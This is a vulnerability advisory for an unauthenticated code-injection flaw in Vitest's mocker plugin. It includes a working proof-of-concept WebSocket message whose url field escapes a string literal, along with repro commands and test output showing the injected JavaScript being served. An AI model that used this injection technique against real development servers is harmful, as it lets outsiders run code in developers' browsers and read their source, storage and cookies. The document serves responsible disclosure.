Vitest: Code injection via unauthenticated manual mock registration

With url = 'x"); globalThis.ARES_INJECTED = 1; void("' a request for /src/app.js is answered with valid, executable JavaScript:

const __factoryModule__ = await globalThis["__vitest_mocker__"].getFactoryModule("x"); globalThis.ARES_INJECTED = 1; void("");

getFactoryExports (interceptorPlugin.ts:103-117) also takes the export-name array from the same socket, and those names are interpolated unescaped too — but each name is emitted into __factoryModule__["X"], export { __0 as "X" } and resolvedModule["X"], and no payload tested parses in all three positions (all nine candidates were rejected by the parser). It is a hardening gap, not a second usable vector; url is the exploited one.

Who can reach the socket. Vite 8 answers HTTP 400 to any HMR upgrade carrying an Origin header it does not own, so a cross-origin browser page cannot open it — the PoC asserts this for https://evil.example and http://localhost:3000. The reachable attacker is a non-browser WebSocket client with access to the dev server's port, the same prerequisite under which GHSA-82fw-gwwq-j7x9 was published.

PoC

poc/mocker-manual-mock-injection/ — repro.sh (exit 0 = vulnerable), poc.mjs, expected.txt, env.txt. Everything lives under a fresh mktemp directory deleted on exit, the dev server binds to 127.0.0.1 on an ephemeral port, no external host is contacted, and the payload is only inspected as text — the script never evaluates it.

Environment: commit 9e1166959e14bd32298d8a0e85352431c769ec7a, @vitest/mocker 5.0.0, Node v22.23.1, Vite 8.0.11, ws 8.21.3, pnpm 11.24.0, Linux x86_64.

git clone https://github.com/vitest-dev/vitest && cd vitest
git checkout 9e1166959e14bd32298d8a0e85352431c769ec7a
pnpm install && pnpm build
REPO=$(pwd) bash /path/to/poc/mocker-manual-mock-injection/repro.sh

Required configuration — the public setup documented in packages/mocker/EXPORTS.md, which the harness reproduces (mockerPlugin() wires interceptorPlugin the same way):

import { interceptorPlugin } from '@vitest/mocker/node'
export default defineConfig({ plugins: [interceptorPlugin()] })   // or mockerPlugin()

The attack is one WebSocket message to ws://<host>:<port>/ with subprotocol vite-hmr:

{ "type": "custom", "event": "vitest:interceptor:register",
  "data": { "type": "manual", "raw": "", "id": "<abs path of a served module>",
            "url": "x\"); globalThis.ARES_INJECTED = 1; void(\"" } }

then answering the server's vitest:interceptor:resolve with {"type":"custom","event":"vitest:interceptor:resolved","data":{"url":"<same url>","keys":["a"]}}. The module id can be obtained from the same socket via vitest:mocks:resolveId when mockerPlugin() is used.

Observed output:

PASS  precondition: Vite rejects a WebSocket upgrade sent with Origin https://evil.example  result=400
PASS  precondition: Vite rejects a WebSocket upgrade sent with Origin http://localhost:3000  result=400
PASS  negative control: with no mock registered the real module is served
PASS  negative control: a mock with a harmless url replaces the module but injects nothing
--- module served for /src/app.js ---
    const __factoryModule__ = await globalThis["__vitest_mocker__"].getFactoryModule("x"); globalThis.ARES_INJECTED = 1; void("");

    let __0 = __factoryModule__["a"]
    export { __0 as "a" }
    if (__factoryModule__.__factoryPromise != null) {
      __factoryModule__.__factoryPromise.then((resolvedModule) => {
        __0 = resolvedModule["a"];
      })
    }
PASS  attacker statement is present in the module the dev server serves
PASS  the real module body was replaced
PASS  the injected module parses as JavaScript (Vite import analysis accepted it)

RESULT: VULNERABLE

• Positive control — with no mock registered, /src/app.js is served with its real body, so the harness demonstrably works.
• Negative control — the same registration with a harmless url replaces the module but injects nothing, attributing the injection to the payload rather than to mock registration.
• Precondition controls — the two Origin probes record the boundary honestly.
• Vite's import analysis rejects malformed output (an earlier deliberately-broken payload failed with "content contains invalid JS syntax"), so acceptance proves the injected module is valid, executable JavaScript.

Reproduced three times from a clean mktemp fixture, exit 0 each time.

Impact

Code injection (CWE-94) by an unauthenticated client. The attacker picks any module id the project serves and replaces its body with arbitrary JavaScript, which executes in the developer's browser on the dev-server origin: reading source through the dev server, reading that origin's storage and cookies, driving further same-origin requests, and persisting across reloads while the mock stays registered. Nothing is written to disk, so it leaves no trace in the repository. Impacts developers who use the public mockerPlugin()/interceptorPlugin() API documented in packages/mocker/EXPORTS.md. Node runs do not register these handlers. Development-only — configureServer does not run for vite build or vite preview.

Credits

• Thai Son Dinh from VinSOC Labs (R&D)

Disclosure per CONTRIBUTING.md: the analysis and proof of concept were assisted by Claude (Claude Code). The findings were reviewed by the reporter above, who is submitting this report.